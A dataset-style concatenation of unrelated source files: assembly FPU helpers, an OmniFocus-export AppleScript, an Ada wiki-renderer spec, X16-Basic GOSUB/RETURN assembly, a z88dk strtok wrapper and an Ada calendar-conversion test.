DoFnstenv PROC
BEGIN_STACK_FRAME
mov GAX_REG,PARAM1
fnstenv [GAX_REG]
END_STACK_FRAME
ret
DoFnstenv ENDP
;pop st(0) from FPU stack
FstpFunc PROC
fstp st(0)
ret
FstpFunc ENDP
end
|
applescripts/tasks_for_perspective.applescript | jacobx1/of-sdk | 0 | 2812 | <filename>applescripts/tasks_for_perspective.applescript
#!/usr/bin/osascript
use AppleScript version "2.4" -- Yosemite (10.10) or later
use framework "Foundation"
use scripting additions
-- classes, constants, and enums used
property NSJSONWritingPrettyPrinted : a reference to 0
property NSJSONSerialization : a reference to current application's NSJSONSerialization
property NSString : a reference to current application's NSString
on rfc3339FromDate(aDate)
set theFormatter to current application's NSDateFormatter's new()
theFormatter's setLocale:(current application's NSLocale's localeWithLocaleIdentifier:"en_US_POSIX")
theFormatter's setTimeZone:(current application's NSTimeZone's timeZoneWithAbbreviation:"GMT") -- skip for local time
theFormatter's setDateFormat:"yyyy'-'MM'-'dd'T'HH':'mm':'ssXXX"
return (theFormatter's stringFromDate:aDate)
end rfc3339FromDate
on toJSON(obj)
set theJSONData to NSJSONSerialization's dataWithJSONObject:obj options:NSJSONWritingPrettyPrinted |error|:(missing value)
set someString to current application's NSString's alloc()'s initWithData:theJSONData encoding:(current application's NSUTF8StringEncoding)
return someString as text
end toJSON
on actionItemPropertiesToSet(properties)
tell application "OmniFocus"
set currentId to id of properties
set currentName to name of properties
set currentDueDate to my rfc3339FromDate(due date of properties)
set deferDate to my rfc3339FromDate(defer date of properties)
set completionDate to my rfc3339FromDate(completion date of properties)
set currentNote to note of properties
set currentFlagged to flagged of properties
set modificationDate to my rfc3339FromDate(modification date of properties)
set estimatedMinutes to estimated minutes of properties
set isCompleted to completed of properties
set isDropped to dropped of properties
return {|id|:currentId, |name|:currentName, |dueDate|:currentDueDate, |deferDate|:deferDate, |completionDate|:completionDate, |note|:currentNote, |flagged|:currentFlagged, |modificationDate|:modificationDate, |estimatedMinutes|:estimatedMinutes, |completed|:isCompleted, |dropped|:isDropped}
end tell
end actionItemPropertiesToSet
on run argv
tell application "OmniFocus"
tell document window 1 of default document of application "OmniFocus"
set perspective name to item 1 of argv
set values to get the properties of value of leaves of content
set output to {}
repeat with value in values
set end of output to my actionItemPropertiesToSet(value)
end repeat
return my toJSON(output)
end tell
end tell
end run
|
src/wiki-render-wiki.ads | jquorning/ada-wiki | 18 | 157 | -----------------------------------------------------------------------
-- wiki-render-wiki -- Wiki to Wiki renderer
-- Copyright (C) 2015, 2016, 2020 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Strings.Wide_Wide_Maps;
with Ada.Strings.Wide_Wide_Unbounded;
with Wiki.Documents;
with Wiki.Attributes;
with Wiki.Streams;
with Wiki.Strings;
-- === Wiki Renderer ===
-- The `Wiki_Renderer</tt> allows to render a wiki document into another wiki content.
-- The formatting rules are ignored except for the paragraphs and sections.
package Wiki.Render.Wiki is
use Standard.Wiki.Attributes;
-- ------------------------------
-- Wiki to HTML writer
-- ------------------------------
type Wiki_Renderer is new Renderer with private;
-- Set the output stream.
procedure Set_Output_Stream (Engine : in out Wiki_Renderer;
Stream : in Streams.Output_Stream_Access;
Format : in Wiki_Syntax);
-- Render the node instance from the document.
overriding
procedure Render (Engine : in out Wiki_Renderer;
Doc : in Documents.Document;
Node : in Nodes.Node_Type);
-- Add a section header in the document.
procedure Render_Header (Engine : in out Wiki_Renderer;
Header : in Wide_Wide_String;
Level : in Positive);
-- Add a paragraph (<p>). Close the previous paragraph if any.
-- The paragraph must be closed at the next paragraph or next header.
procedure Add_Paragraph (Engine : in out Wiki_Renderer);
-- Add a blockquote (<blockquote>). The level indicates the blockquote nested level.
-- The blockquote must be closed at the next header.
procedure Add_Blockquote (Engine : in out Wiki_Renderer;
Level : in Natural);
-- Add a list item (<li>). Close the previous paragraph and list item if any.
-- The list item will be closed at the next list item, next paragraph or next header.
procedure Add_List_Item (Engine : in out Wiki_Renderer;
Level : in Positive;
Ordered : in Boolean);
-- Render a link.
procedure Render_Link (Engine : in out Wiki_Renderer;
Name : in Strings.WString;
Attrs : in Attributes.Attribute_List);
-- Render an image.
procedure Render_Image (Engine : in out Wiki_Renderer;
Title : in Strings.WString;
Attrs : in Attributes.Attribute_List);
-- Render a quote.
procedure Render_Quote (Engine : in out Wiki_Renderer;
Title : in Strings.WString;
Attrs : in Attributes.Attribute_List);
-- Add a text block with the given format.
procedure Render_Text (Engine : in out Wiki_Renderer;
Text : in Wide_Wide_String;
Format : in Format_Map);
-- Render a text block that is pre-formatted.
procedure Render_Preformatted (Engine : in out Wiki_Renderer;
Text : in Strings.WString;
Format : in Strings.WString);
procedure Render_Tag (Engine : in out Wiki_Renderer;
Doc : in Documents.Document;
Node : in Nodes.Node_Type);
-- Finish the document after complete wiki text has been parsed.
procedure Finish (Engine : in out Wiki_Renderer;
Doc : in Documents.Document);
-- Set the text style format.
procedure Set_Format (Engine : in out Wiki_Renderer;
Format : in Format_Map);
private
use Ada.Strings.Wide_Wide_Unbounded;
type Wide_String_Access is access constant Wide_Wide_String;
type Wiki_Tag_Type is (Header_Start, Header_End,
Img_Start, Img_End,
Link_Start, Link_End, Link_Separator,
Quote_Start, Quote_End, Quote_Separator,
Preformat_Start, Preformat_End,
List_Start, List_Item, List_Ordered_Item,
Line_Break, Escape_Rule,
Horizontal_Rule,
Blockquote_Start, Blockquote_End);
type Wiki_Tag_Array is array (Wiki_Tag_Type) of Wide_String_Access;
type Wiki_Format_Array is array (Format_Type) of Wide_String_Access;
procedure Write_Optional_Space (Engine : in out Wiki_Renderer);
-- Emit a new line.
procedure New_Line (Engine : in out Wiki_Renderer;
Optional : in Boolean := False);
procedure Need_Separator_Line (Engine : in out Wiki_Renderer);
procedure Close_Paragraph (Engine : in out Wiki_Renderer);
procedure Start_Keep_Content (Engine : in out Wiki_Renderer);
type List_Style_Array is array (1 .. 32) of Boolean;
EMPTY_TAG : aliased constant Wide_Wide_String := "";
type Wiki_Renderer is new Renderer with record
Output : Streams.Output_Stream_Access := null;
Syntax : Wiki_Syntax := SYNTAX_CREOLE;
Format : Format_Map := (others => False);
Tags : Wiki_Tag_Array := (others => EMPTY_TAG'Access);
Style_Start_Tags : Wiki_Format_Array := (others => EMPTY_TAG'Access);
Style_End_Tags : Wiki_Format_Array := (others => EMPTY_TAG'Access);
Escape_Set : Ada.Strings.Wide_Wide_Maps.Wide_Wide_Character_Set;
Has_Paragraph : Boolean := False;
Has_Item : Boolean := False;
Need_Paragraph : Boolean := False;
Need_Newline : Boolean := False;
Need_Space : Boolean := False;
Empty_Line : Boolean := True;
Empty_Previous_Line : Boolean := True;
Keep_Content : Natural := 0;
In_List : Boolean := False;
Invert_Header_Level : Boolean := False;
Allow_Link_Language : Boolean := False;
Link_First : Boolean := False;
Html_Blockquote : Boolean := False;
Line_Count : Natural := 0;
Current_Level : Natural := 0;
Quote_Level : Natural := 0;
UL_List_Level : Natural := 0;
OL_List_Level : Natural := 0;
Current_Style : Format_Map := (others => False);
Content : Unbounded_Wide_Wide_String;
Link_Href : Unbounded_Wide_Wide_String;
Link_Title : Unbounded_Wide_Wide_String;
Link_Lang : Unbounded_Wide_Wide_String;
end record;
end Wiki.Render.Wiki;
|
source/commands/gosub.asm | paulscottrobson/x16-basic | 1 | 17095 | <gh_stars>1-10
; *****************************************************************************
; *****************************************************************************
;
; Name : gosub.asm
; Purpose : X16-Basic Gosub & Return
; Author : <NAME> (<EMAIL>)
; Date : 8th February 2020
;
; *****************************************************************************
; *****************************************************************************
; *****************************************************************************
;
; GOSUB <linenumber>
;
; *****************************************************************************
Command_Gosub: ;; gosub
jsr EvaluateExpression ; get the line number.
jsr StructPushPos ; save position
lda #SMARK_GOSUB ; push a GOSUB marker
jsr StructPushA
jsr TransferControlToStack ; branch to there
rts
; *****************************************************************************
;
; RETURN
;
; *****************************************************************************
Command_Return: ;; return
checkStructureStack SMARK_GOSUB,"No Gosub"
lda #1 ; restore return address
jsr StructGetPos
lda #4 ; pop the address and marker
jsr StructPopABytes
rts
|
libsrc/_DEVELOPMENT/string/c/sccz80/strtok.asm | Frodevan/z88dk | 640 | 92232 |
; char *strtok(char * restrict s1, const char * restrict s2)
SECTION code_clib
SECTION code_string
PUBLIC strtok
EXTERN asm_strtok
strtok:
pop bc
pop de
pop hl
push hl
push de
push bc
IF __CLASSIC && __CPU_GBZ80__
call asm_strtok
ld d,h
ld e,l
ret
ELSE
jp asm_strtok
ENDIF
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _strtok
defc _strtok = strtok
ENDIF
|
testsuite/league/TN-308/test_308.adb | svn2github/matreshka | 24 | 674 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Localization, Internationalization, Globalization for Ada --
-- --
-- Testsuite Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2013, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This test checks whether Ada to League time conversion work properly for
-- the times near to end of day.
------------------------------------------------------------------------------
with Ada.Calendar.Formatting;
with Ada.Calendar.Time_Zones;
with League.Calendars.Ada_Conversions;
with League.Calendars.ISO_8601;
procedure Test_308 is
use type League.Calendars.ISO_8601.Year_Number;
use type League.Calendars.ISO_8601.Month_Number;
use type League.Calendars.ISO_8601.Day_Number;
use type League.Calendars.ISO_8601.Hour_Number;
use type League.Calendars.ISO_8601.Minute_Number;
use type League.Calendars.ISO_8601.Second_Number;
use type League.Calendars.ISO_8601.Nanosecond_100_Number;
Ada_Time : constant Ada.Calendar.Time
:= Ada.Calendar.Formatting.Time_Of (2013, 6, 7, 23, 36, 43, 0.0);
League_Time : constant League.Calendars.Date_Time
:= League.Calendars.Ada_Conversions.From_Ada_Time (Ada_Time);
Y : League.Calendars.ISO_8601.Year_Number;
M : League.Calendars.ISO_8601.Month_Number;
D : League.Calendars.ISO_8601.Day_Number;
DH : League.Calendars.ISO_8601.Hour_Number;
DM : League.Calendars.ISO_8601.Minute_Number;
DS : League.Calendars.ISO_8601.Second_Number;
DN : League.Calendars.ISO_8601.Nanosecond_100_Number;
begin
League.Calendars.ISO_8601.Split (League_Time, Y, M, D, DH, DM, DS, DN);
if Y /= 2013 then
raise Program_Error;
end if;
if M /= 6 then
raise Program_Error;
end if;
if D /= 7 then
raise Program_Error;
end if;
if DH /= 23 then
raise Program_Error;
end if;
if DM /= 36 then
raise Program_Error;
end if;
if DS /= 43 then
raise Program_Error;
end if;
if DN /= 0 then
raise Program_Error;
end if;
end Test_308;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.